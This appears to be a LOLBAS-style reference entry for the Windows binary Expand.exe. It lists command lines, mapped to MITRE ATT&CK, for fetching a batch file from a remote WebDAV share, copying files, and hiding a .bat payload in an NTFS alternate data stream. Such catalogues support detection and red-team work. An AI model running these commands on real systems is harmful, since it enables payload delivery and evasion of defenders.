.. /Expand.exe
Star

Alternate data streams

Binary that expands one or more compressed files

Paths:

C:\Windows\System32\Expand.exe
C:\Windows\SysWOW64\Expand.exe

Resources:

Acknowledgements:

Rahmat Nurfauzi (@infosecn1nja)
Oddvar Moe (@oddvarmoe)

Detection:

Download

Copies source file to destination.
```
expand \\webdav\folder\file.bat c:\ADS\file.bat
```
Use case
Use to copies the source file to the destination file

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105

Copy

Copies source file to destination.
```
expand c:\ADS\file1.bat c:\ADS\file2.bat
```
Use case
Copies files from A to B

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105

Alternate data streams

Copies source file to destination Alternate Data Stream (ADS)
```
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
```
Use case
Copies files from A to B

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004